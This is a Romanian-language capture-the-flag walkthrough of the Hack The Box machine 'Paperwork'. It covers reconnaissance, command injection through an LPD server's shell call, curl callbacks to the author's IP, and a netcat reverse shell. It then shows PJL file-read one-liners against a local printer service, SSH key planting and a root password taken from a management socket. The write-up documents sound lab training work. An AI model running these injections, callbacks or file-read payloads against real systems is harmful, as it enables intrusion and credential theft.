

Ca de obicei, incepem cu un nmap sa vedem cu ce avem de a face.

```
rgmy@debian1:~/HTB_Machines/Easy/Paperwork$ nmap -sV -sC 10.129.50.175
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-12 12:38 EEST
Nmap scan report for 10.129.50.175
Host is up (0.073s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 10.0p2 Ubuntu Subuntu5.4 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     nginx 1.28.0 (Ubuntu)
|_http-title: Did not follow redirect to http://paperwork.htb/
|_http-server-header: nginx/1.28.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.03 seconds
```

Un site care da redirect la paperwork.htb. Deci adaugam pathul la noi in /etc/hosts.

Intake Portal

Maintenance Advisory: Backend spooler PRN-ARCHIVE-01 management console is currently offline. Manual ingestion remains active via the legacy gateway.

System Configuration

Protocol	Compliance Level: RFC 1179
Target Queue	archive_intake
Internal Processor	paperwork-archive-v1.02

Usage Notice

Remote job submission must conform to business requirements for archival indexing. Submissions without a valid identifier will fail to process through the legacy intake processor.

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A ok, e valabil prin legacy gateway. Care este oare. De asemenea, vedem un paperwork archive. Sa vedem ce avem in el.

Avem un server.py, pe care daca il citim ar trebui sa faca conexiunea cu o imprimanta pe portul 1515 printr-un server LPD.

De asemenea, vedem o logica interesanta.

```
subprocess.Popen(f'echo 'Archive: {job_name}' >> /tmp/archive.log", shell=True)
```

E posibil sa gasim metoda prin care o sa exaladam privilegiile, dar intai sa vad cum intru pe contul de user.

Am dat un fuzz sa vad daca exista un path ascuns, dar nu am gasit. Deci o sa trebuiasca sa merg sa caut prin subdomenii.

```
ffuf -u http://paperwork.htb/FUZZ -w  
~/TOOLS/wordlist/SecLists/Discovery/Web-Content/common.txt
```

```
rgmy@debian1:~/HTB_Machines/Easy/Paperwork$ ffuf -u http://paperwork.htb/FUZZ -w ~/TOOLS/wordlist/SecLists/Discovery/Web-Content/common.txt

      /'---\ /'---\ /'---\
     /  _  /  _  /  _  /
    /___/_/___/_/___/_/___/_/
   /___/_/___/_/___/_/___/_/
  /___/_/___/_/___/_/___/_/
 /___/_/___/_/___/_/___/_/
/___/_/___/_/___/_/___/_/

v2.1.0-dev

-----
:: Method      : GET
:: URL         : http://paperwork.htb/FUZZ
:: Wordlist     : FUZZ: /home/rgmy/TOOLS/wordlist/SecLists/Discovery/Web-Content/common.txt
:: Follow redirects : false
:: Calibration  : false
:: Timeout      : 10
:: Threads      : 40
:: Matcher      : Response status: 200-299,301,302,307,401,403,405,500
-----

:: Progress: [4751/4751] :: Job [1/1] :: 591 req/sec :: Duration: [0:00:06] :: Errors: 0 ::
```

Nici un subdomeniu.

```
rgmy@debian1:~/HTB_Machines/Easy/Paperwork$ ffuf -u http://paperwork.htb -H "HOST:FUZZ.paperwork.htb" -w ~/TOOLS/wordlist/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -fw 6

      /'---\ /'---\ /'---\
     /  _  /  _  /  _  /
    /___/_/___/_/___/_/___/_/
   /___/_/___/_/___/_/___/_/
  /___/_/___/_/___/_/___/_/
 /___/_/___/_/___/_/___/_/
/___/_/___/_/___/_/___/_/

v2.1.0-dev

-----
:: Method      : GET
:: URL         : http://paperwork.htb
:: Wordlist     : FUZZ: /home/rgmy/TOOLS/wordlist/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt
:: Header       : Host: FUZZ.paperwork.htb
:: Follow redirects : false
:: Calibration   : false
:: Timeout      : 10
:: Threads      : 40
:: Matcher      : Response status: 200-299,301,302,307,401,403,405,500
:: Filter       : Response words: 6
-----

:: Progress: [100000/100000] :: Job [1/1] :: 682 req/sec :: Duration: [0:01:46] :: Errors: 0 ::
```

Dar, daca ne uitam prin codul sursa, o sa vedem ceva interesant. Acea arhiva pe care am instalat-o, are un path hardcodat: /download/archive

Poate avem ceva in download cu mai mult interes pentru noi.

Nu am gasit nimic, deci cred ca calea este prin server.py.

M-am uitat si am vazut ceva interesant.

```
subprocess.Popen(f"echo 'Archive: {job_name}' >> /tmp/archive.log", shell=True)
```

Aici, este foarte HARDCODATA comanda. Daca noi trimitem un mesaj acolo care incepe cu

‘&comanda&’, noi practic am executa comanda

echo ‘Archive: ‘ & comanda noastra & ‘, cea ce nu ar da eroare.

```

rgmy@debian1:~/HTB_Machines/Easy/Paperwork$ python3 script.py
[*] Am trimis inițierea pentru coada: archive_intake
[*] Am trimis dimensiunea pachetului: 78 octeți
[*] Serverul a confirmat primirea metadatelor. Trimitem conținutul...
[*] Conținut trimis complet.
[*] Finalizat! Răspuns final server (hex): 80
rgmy@debian1:~/HTB_Machines/Easy/Paperwork$

rgmy@debian1:~/HTB_Machines/Easy/Paperwork$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
10.129.50.175 - - [12/Jul/2026 13:36:27] code 404, message File not found
10.129.50.175 - - [12/Jul/2026 13:36:27] "GET /test HTTP/1.1" 404 -

```

Hai sa vad daca functioneaza. Fac un script python care face astea.

A MERS. Am executat un curl la mine pe masina sa vad ca pot executa comenzi extern.
O sa facem un curl mai special cu curl [http://10.10.17.68:8000/\\$\(whoami\)](http://10.10.17.68:8000/$(whoami)) sa vad ce user executa comanda.

```

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.50.175 - - [12/Jul/2026 13:37:42] code 404, message File not found
10.129.50.175 - - [12/Jul/2026 13:37:42] "GET /lp HTTP/1.1" 404 -

```

lp, ok.

Acum, am dat un ls /home as vad ce user avem.

```

10.129.50.175 - - [12/Jul/2026 13:39:01] "GET /archivist HTTP/1.1" 404 -

```

A ok, archivist. Am mers prea departe si am vrut sa incerc sa vad ce are archivist in fisier, dar nu a mers.

```

10.129.50.175 - - [12/Jul/2026 13:39:40] "GET / HTTP/1.1" 200 -

```

Sa vad daca merge prosteste sa rulez un netcat instance asa sa imi fie mai usor, sa nu trebuiasca sa rulez cate o comanda prin modificarea la script.py.

Am incercat mai intai cu python, dar nu a mers, deci am ajuns la versiunea cu bash si a functionat.

```

rgmy@debian1:~/HTB_Machines/Easy/Paperwork$ python3 script.py
[*] Am trinis initierea pentru coada: archive_intake
[*] Am trinis dimensiunea pachetului: 95 octeti
[*] Serverul a confirmat primirea metadatelor. Trinita continutul...
[*] Continut trinis complet.
[*] Finalizat! Raspuns final server (hex): 00
rgmy@debian1:~/HTB_Machines/Easy/Paperwork$ python3 script.py
[*] Am trinis initierea pentru coada: archive_intake
[*] Am trinis dimensiunea pachetului: 95 octeti
[*] Serverul a confirmat primirea metadatelor. Trinita continutul...
[*] Continut trinis complet.
[*] Finalizat! Raspuns final server (hex): 00
rgmy@debian1:~/HTB_Machines/Easy/Paperwork$ nano script.py
rgmy@debian1:~/HTB_Machines/Easy/Paperwork$ python3 script.py
[*] Am trinis initierea pentru coada: archive_intake
[*] Am trinis dimensiunea pachetului: 88 octeti
[*] Serverul a confirmat primirea metadatelor. Trinita continutul...
[*] Continut trinis complet.
[*] Finalizat! Raspuns final server (hex): 00
rgmy@debian1:~/HTB_Machines/Easy/Paperwork$ nano script.py
rgmy@debian1:~/HTB_Machines/Easy/Paperwork$ python3 script.py
[*] Am trinis initierea pentru coada: archive_intake
[*] Am trinis dimensiunea pachetului: 86 octeti
[*] Serverul a confirmat primirea metadatelor. Trinita continutul...
[*] Continut trinis complet.
[*] Finalizat! Raspuns final server (hex): 00
rgmy@debian1:~/HTB_Machines/Easy/Paperwork$ nano script.py
rgmy@debian1:~/HTB_Machines/Easy/Paperwork$ python3 script.py
[*] Am trinis initierea pentru coada: archive_intake
[*] Am trinis dimensiunea pachetului: 227 octeti
[*] Serverul a confirmat primirea metadatelor. Trinita continutul...
[*] Continut trinis complet.
[*] Finalizat! Raspuns final server (hex): 00
rgmy@debian1:~/HTB_Machines/Easy/Paperwork$ nano script.py
rgmy@debian1:~/HTB_Machines/Easy/Paperwork$ python3 script.py
[*] Am trinis initierea pentru coada: archive_intake
[*] Am trinis dimensiunea pachetului: 228 octeti
[*] Serverul a confirmat primirea metadatelor. Trinita continutul...
[*] Continut trinis complet.
[*] Finalizat! Raspuns final server (hex): 00
rgmy@debian1:~/HTB_Machines/Easy/Paperwork$ nano script.py
rgmy@debian1:~/HTB_Machines/Easy/Paperwork$ python3 script.py
[*] Am trinis initierea pentru coada: archive_intake
[*] Am trinis dimensiunea pachetului: 229 octeti
[*] Serverul a confirmat primirea metadatelor. Trinita continutul...
[*] Continut trinis complet.
[*] Finalizat! Raspuns final server (hex): 00
rgmy@debian1:~/HTB_Machines/Easy/Paperwork$ nano script.py
rgmy@debian1:~/HTB_Machines/Easy/Paperwork$ python3 script.py
[*] Am trinis initierea pentru coada: archive_intake
[*] Am trinis dimensiunea pachetului: 71 octeti
[*] Serverul a confirmat primirea metadatelor. Trinita continutul...
[*] Continut trinis complet.
[*] Finalizat! Raspuns final server (hex): 00
rgmy@debian1:~/HTB_Machines/Easy/Paperwork$ nano script.py
rgmy@debian1:~/HTB_Machines/Easy/Paperwork$ python3 script.py
[*] Am trinis initierea pentru coada: archive_intake
[*] Am trinis dimensiunea pachetului: 94 octeti
[*] Serverul a confirmat primirea metadatelor. Trinita continutul...
[*] Continut trinis complet.
[*] Finalizat! Raspuns final server (hex): 00
rgmy@debian1:~/HTB_Machines/Easy/Paperwork$

```

```

rgmy@debian1:~/HTB_Machines/Easy/Paperwork$ nc -lvp 6969
listening on [any] 6969 ...
connect to [10.10.17.68] from (UNKNOWN) [10.129.50.175] 38298
bash: cannot set terminal process group (990): Inappropriate ioctl for device
bash: no job control in this shell
lg@paperwork:~/opt/LPDServer$

```

Acum sunt conectat.

M-am uitat in /etc/passwd sa imi confirme ca userul e archivist care o sa trebuiasca sa il iau.

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534:/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
messagebus:x:997:997:System Message Bus:/nonexistent:/usr/sbin/nologin
systemd-resolve:x:991:991:systemd Resolver:/:/usr/sbin/nologin
_chrony:x:101:103:Chrony daemon:/var/lib/chrony:/usr/sbin/nologin
usbmux:x:102:46:usbmux daemon:/var/lib/usbmux:/usr/sbin/nologin
polkitd:x:990:990:User for polkitd:/:/usr/sbin/nologin
syslog:x:104:104:/nonexistent:/usr/sbin/nologin
uuid:x:105:105:/run/uuid:/usr/sbin/nologin
tcpdump:x:106:107:/nonexistent:/usr/sbin/nologin
tss:x:107:108:TPM software stack:/var/lib/tpm:/bin/false
fwupd-refresh:x:988:988:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
sshd:x:987:65534:sshd user:/run/sshd:/usr/sbin/nologin
archivist:x:1000:1000:archivist:/home/archivist:/bin/bash
_laurel:x:999:987:/var/log/laurel:/bin/false
```

Ca sa nu imi pierd timpul, am sa imi dau linneas sa vad daca gasesc ceva util.

Interesant asta la parole.

/usr/lib/tmpfiles.d/credstore.conf

Pathul asta iese in ochi.

Am vazut si un paperwork.daemon detinut de root. Are acelasi nume ca si masina, deci poate fi util.


```

Backup files (limited 100) (T1552.001)
-rw-r--r-- 1 root root 159 Oct  7  2025 /var/lib/sgml-base/supercatalog.old
-rw-r--r-- 1 root root 0 Jul 12 09:32 /var/lib/systemd/timers/stamp-dpkg-db-backup.timer
-rw-r--r-- 1 root root 61 May 26 16:04 /var/lib/systemd/deb-systemd-helper-enabled/dpkg-db-backup.timer.dsh-also
-rw-r--r-- 1 root root 0 Oct  7  2025 /var/lib/systemd/deb-systemd-helper-enabled/timers.target.wants/dpkg-db-backup.timer
-rw-r--r-- 1 root root 365 May 26 16:05 /etc/xml/polkid.xml.old
-rw-r--r-- 1 root root 673 Oct  7  2025 /etc/xml/xml-core.xml.old
-rw-r--r-- 1 root root 893 May 26 16:05 /etc/xml/catalog.old
-rw-r--r-- 1 root root 862 Oct  7  2025 /etc/.resolv.conf.systemd-resolved.bak
-rw-r--r-- 1 root root 1978 Sep 28  2025 /usr/src/linux-headers-6.17.0-29/include/drm/ttm/ttm_backup.h
-rwxr-xr-x 1 root root 28003 Sep 28  2025 /usr/src/linux-headers-6.17.0-29/tools/testing/selftests/net/test_bridge_backup_port.sh
-rwxr-xr-x 1 root root 1086 Sep 28  2025 /usr/src/linux-headers-6.17.0-29/tools/testing/selftests/net/tcp_fastopen_backup_key.sh
-rw-r--r-- 1 root root 1978 Sep 28  2025 /usr/src/linux-headers-6.17.0-40/include/drm/ttm/ttm_backup.h
-rwxr-xr-x 1 root root 28003 Sep 28  2025 /usr/src/linux-headers-6.17.0-40/tools/testing/selftests/net/test_bridge_backup_port.sh
-rwxr-xr-x 1 root root 1086 Sep 28  2025 /usr/src/linux-headers-6.17.0-40/tools/testing/selftests/net/tcp_fastopen_backup_key.sh
-rw-r--r-- 1 root root 44056 Sep 29  2025 /usr/lib/x86_64-linux-gnu/open-vm-tools/plugins/vmsvc/libvmbbackup.so
-rw-r--r-- 1 root root 3654 May  5 13:53 /usr/lib/modules/6.17.0-29-generic/kernel/drivers/power/supply/wm831x_backup.ko.zst
-rw-r--r-- 1 root root 4486 May  5 13:53 /usr/lib/modules/6.17.0-29-generic/kernel/drivers/net/team/team_mode_activebackup.ko.zst
-rw-r--r-- 1 root root 3648 Jun 19 13:57 /usr/lib/modules/6.17.0-40-generic/kernel/drivers/power/supply/wm831x_backup.ko.zst
-rw-r--r-- 1 root root 4481 Jun 19 13:57 /usr/lib/modules/6.17.0-40-generic/kernel/drivers/net/team/team_mode_activebackup.ko.zst
-rw-r--r-- 1 root root 154 Oct 16  2025 /usr/lib/systemd/system/dpkg-db-backup.timer
-rw-r--r-- 1 root root 147 Oct 16  2025 /usr/lib/systemd/system/dpkg-db-backup.service
-rw-r--r-- 1 root root 11922 Jul  7 12:07 /usr/share/info/dir.old
-rw-r--r-- 1 root root 3071 Sep  6  2025 /usr/share/man/man8/vgcfgbackup.8.gz
-rw-r--r-- 1 root root 448438 Jun 17  2024 /usr/share/doc/manpages/Changes.old.gz
-rwxr-xr-x 1 root root 2546 May  6 17:35 /usr/libexec/dpkg/dpkg-db-backup

```

Am gasit si fisiere de backup.

Nu aveau parole in ele.

Vedem ca archivist are ca si grup archivist, deci sa vedem ce fisiere are si ce face.

```

/proc/980/task/980/proc_exe_map
/proc/980/task/980/setgroups
/proc/980/task/980/patch_state
/proc/980/task/980/arch_status
/proc/980/task/980/ksm_merging_pages
/proc/980/task/980/ksm_stat
/proc/980/fd
/proc/980/map_files
/proc/980/fdinfo
/proc/980/ns
/proc/980/net
/proc/980/envIRON
/proc/980/auxv
/proc/980/status
/proc/980/personality
/proc/980/limits
/proc/980/sched
/proc/980/autogroup
/proc/980/timens_offsets
/proc/980/comm
/proc/980/syscall
/proc/980/cmdline
/proc/980/stat
/proc/980/statm
/proc/980/maps
/proc/980/numa_maps
/proc/980/mem
/proc/980/cwd
/proc/980/root
/proc/980/exe
/proc/980/mounts
/proc/980/mountinfo
/proc/980/mountstats
/proc/980/clear_refs
/proc/980/smmaps
/proc/980/smmaps_rollup
/proc/980/pagemap
/proc/980/attr
/proc/980/attr/current
/proc/980/attr/prev
/proc/980/attr/exec
/proc/980/attr/fscreate
/proc/980/attr/keycreate
/proc/980/attr/sockcreate
/proc/980/attr/smack
/proc/980/attr/smack/current
/proc/980/attr/apparmor
/proc/980/attr/apparmor/current
/proc/980/attr/apparmor/prev
/proc/980/attr/apparmor/exec
/proc/980/wchan
/proc/980/stack
/proc/980/schedstat
/proc/980/latency
/proc/980/cgroup
/proc/980/cpu_resctrl_groups
/proc/980/oom_score
/proc/980/oom_adj

```

A ok, procesul 980.

Sa vedem ce face.

ps -fG archivist

UID	PID	PPID	C	STIME	TTY	TIME	CMD
archivi+	980	1	0	14:30	?	00:00:00	/usr/bin/python3 /home/archivist/printer/jetdirect.py 9100 /home/archivist/printer/ /home/archivist/printer/logs/commands.log

A, asculta pe portul 9100.

```

/usr/bin/python3/home/archivist/printr/jetdirect.py 9100/home/archivist/printr//home/archivist/printr/logs/commands.log lp@paperwork:/proc/980$
lp@paperwork:/proc/980$ cat /proc/980/cmdline | tr '\0' ' '
cat /proc/980/cmdline | tr '\0'
/usr/bin/python3 /home/archivist/printr/jetdirect.py 9100 /home/archivist/printr/ /home/archivist/printr/logs/commands.log lp@paperwork:/proc/980$

lp@paperwork:/proc/980$ strings /proc/980/envIRON
strings /proc/980/envIRON
strings: /proc/980/envIRON: Permission denied
lp@paperwork:/proc/980$ curl -u unix-socket /run/paperwork/mgmt.sock http://localhost/
<>-socket /run/paperwork/mgmt.sock http://localhost/
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left   Speed
0      0    0     0    0     0      0      0  0 --:--:-- --:--:-- --:--:--
curl: (7) Failed to connect to localhost port 80 after 8 ms: Could not connect to server
lp@paperwork:/proc/980$ cat /proc/980/status 2>/dev/null | grep -E "State|Threads|VmRSS|Uid|Gid"
<2>/dev/null | grep -E "State|Threads|VmRSS|Uid|Gid"
State:  S (sleeping)
Uid:    1000    1000    1000    1000
Gid:    1000    1000    1000    1000
VmRSS:   17604 kB
Threads:      1
lp@paperwork:/proc/980$ cat /proc/980/status 2>/dev/null | awk '{print "State: " $3 ", Threads: " $20}'
<null | awk '{print "State: " $3 ", Threads: " $20}'
State: S, Threads: 1
lp@paperwork:/proc/980$ socat -u UNIX-CONNECT:/run/paperwork/mgmt.sock
socat - UNIX-CONNECT:/run/paperwork/mgmt.sock
2026/07/12 14:46:00 socat[1202] E connect(), AF=1 /run/paperwork/mgmt.sock, 26): Permission denied
lp@paperwork:/proc/980$ python3 -c "import socket;s=ssocket.socket(socket.AF_UNIX); s.connect('/run/paperwork/mgmt.sock'); s.sendall(b'HELpNn'); print(s.recv(1024).decode(errors='ignore'))"
<Pn"); print(s.recv(1024).decode(errors='ignore'))"
Traceback (most recent call last):
  File "<string>", line 1, in <module>
    import socket; s=ssocket.socket(socket.AF_UNIX); s.connect('/run/paperwork/mgmt.sock'); s.sendall(b'HELpNn'); print(s.recv(1024).decode(errors='ignore'))
PermissionError: [Errno 13] Permission denied

```

La prima vedere, nu avem drepturi.

Ia sa vedem mai in detaliu.

```
python3 -c "import socket; s=socket.socket(); s.connect(('127.0.0.1', 9100)); s.sendall(b'@PJL INFO ID\r\n@PJL INFO STATUS\r\n'); s.settimeout(2); print(s.recv(1024).decode(errors='ignore')); s.close()"
```

```
python3 -c 'import socket; s=socket.socket(); s.connect(("127.0.0.1", 9100)); s.sendall(b"@PJL INFO ID\r\n@PJL INFO STATUS\r\n"); s.settimeout(2); print(s.recv(1024).decode(errors="ignore")); s.close(); t=s.recv(1024).decode(errors="ignore"); s.close()'
QB 1ASR3FT 2M
```

A, o imprimanta.

Ia sa vedem daca putem lua tot codul.

```
python3 -c "import socket; s=socket.socket(); s.connect(('127.0.0.1', 9100)); s.sendall(b'@PJL
FSUPLOAD NAME=\"0:/jetdirect.py\" OFFSET=0 SIZE=5119\r\n'); s.settimeout(2);
print(s.recv(10000).decode(errors='ignore')); s.close()" > /tmp/jetdirect_source.py
```



```

lp@paperwork:/proc/980$ cat /tmp/jetdirect_source.py
cat /tmp/jetdirect_source.py
@PJL FSUPLOAD NAME="/0:/jetdirect.py" SIZE=5119
#!/usr/bin/env python3

import os
import sys
import socket
import logging
import re
import hashlib

class PJLServer:
    def __init__(self):
        self._server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self._server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

    def listen(self, port=9100, backlog=100):
        self._server.bind(("127.0.0.1", port))
        self._server.listen(backlog)
        logging.info("Listening on port %d" % port)

    def accept(self):
        client, addr = self._server.accept()
        logging.info("[%s] connected" % addr[0])
        return PJLClient(client, addr[0])

class PJLClient:
    def __init__(self, client, address):
        self._client = client
        self._address = address

    def get_line(self):
        """Reads until a newline to get a single PJP command."""
        line = b""
        while True:
            char = self._client.recv(1)
            if not char: return None
            line += char
            if char == b"\n": break
        return line

    def reply(self, message):
        if isinstance(message, str):
            message = message.encode("utf-8")
        self._client.sendall(message)

    def close(self):
        self._client.close()

```

A mers. L-am salvat la mine pe masina sa fie mai usor ce citit.

In acelasi mod in care am luat codul sursa, asa luam si secretul de la user.txt.

```

python3 -c "import socket; s=socket.socket(); s.connect(('127.0.0.1', 9100)); s.sendall(b'@PJL
FSUPLOAD NAME="/0:/user.txt" OFFSET=0 SIZE=5119\r\n'); s.settimeout(2);
print(s.recv(10000).decode(errors='ignore')); s.close()" > /tmp/user.txt

```

```
lp@paperwork:/tmp$ python3 -c "import socket; s=socket.socket(); s.connect(('127.0.0.1', 9100)); s.sendall(b'PJL FSUPLOAD NAME=\\0.../user.txt\\' OFFSET=0 SIZE=5119\\r\\n'); s.settimeout(2); print(s.recv(10000).decode('utf-8', ignore='')); s.close()" > /tmp/user.txt
lp@paperwork:/tmp$ cat user.txt
@PJL FSUPLOAD NAME=\\0.../user.txt\\' SIZE=33
```

Imi generez la mine pe PC un set de chei ssh. Fac un script python care sa il utilizez.

```
rgmy@debian1:~/HTB_Machines/Easy/Paperwork$ cat key.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBTy2XRNPnGNbCMG5C8Gp0jD42Epvm7D8S0zm7LW8Kvn rgmy@debian1
rgmy@debian1:~/HTB_Machines/Easy/Paperwork$ nano excaladare.py
rgmy@debian1:~/HTB_Machines/Easy/Paperwork$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.51.73 - - [12/Jul/2026 18:35:02] code 404, message File not found
10.129.51.73 - - [12/Jul/2026 18:35:02] "GET /exaladare.py HTTP/1.1" 404 -
10.129.51.73 - - [12/Jul/2026 18:35:21] "GET /excaladare.py HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.
rgmy@debian1:~/HTB_Machines/Easy/Paperwork$ chmod 600 key
rgmy@debian1:~/HTB_Machines/Easy/Paperwork$ ls
backup.txt  exploit.odt  key.pub      linpeas.sh  paperwork-archive-v1.02.zip  scan.nmap  script.py
excaladare.py  key          laserjet.py  linpeas.txt  scan.gnmap      scan.xml   server.py
rgmy@debian1:~/HTB_Machines/Easy/Paperwork$ ssh -i key archivist@10.129.51.73
The authenticity of host '10.129.51.73 (10.129.51.73)' can't be established.
ED25519 key fingerprint is SHA256:tzMbEYkv6k7bNzmaghp0k1CXAX3BBYDw0TJmWsGAYdo.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.51.73' (ED25519) to the list of known hosts.
Last login: Thu May 28 15:22:41 UTC 2026 from 10.10.14.3 on ssh
Welcome to Ubuntu 25.10 (GNU/Linux 6.17.0-40-generic x86_64)

 * Documentation:  https://docs.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro
Last login: Sun Jul 12 15:37:11 2026 from 10.10.17.68
archivist@paperwork:~$ ls
printer  user.txt
```

Acum sunt conectat prin ssh. Deja stim ca avem acel paperwork.daemon. Si stim ca se conecteaza la mgmt.sock de cand incercam sa intram ca archivist in trecut.

Ia sa vedem daca ne putem conecta la el, acum ca nu mai suntem lp.

Evident ca merge. Am lasat scriptul care imi da parola la root.

```
archivist@paperwork:/tmp$ python3 script.py
Message: b'ALERT: SECURITY_VIOLATION. FORENSIC_CONTEXT_ATTACHED.'
Received FDs: [4, 5]
admin_pins.conf contents: ADMIN_PASSWORD=[REDACTED]

archivist@paperwork:/tmp$ su root
Password:
root@paperwork:/tmp# cd /root
root@paperwork:~# ls
quarantine  root.txt  staging
root@paperwork:~# cat root.txt
```

Am terminat masina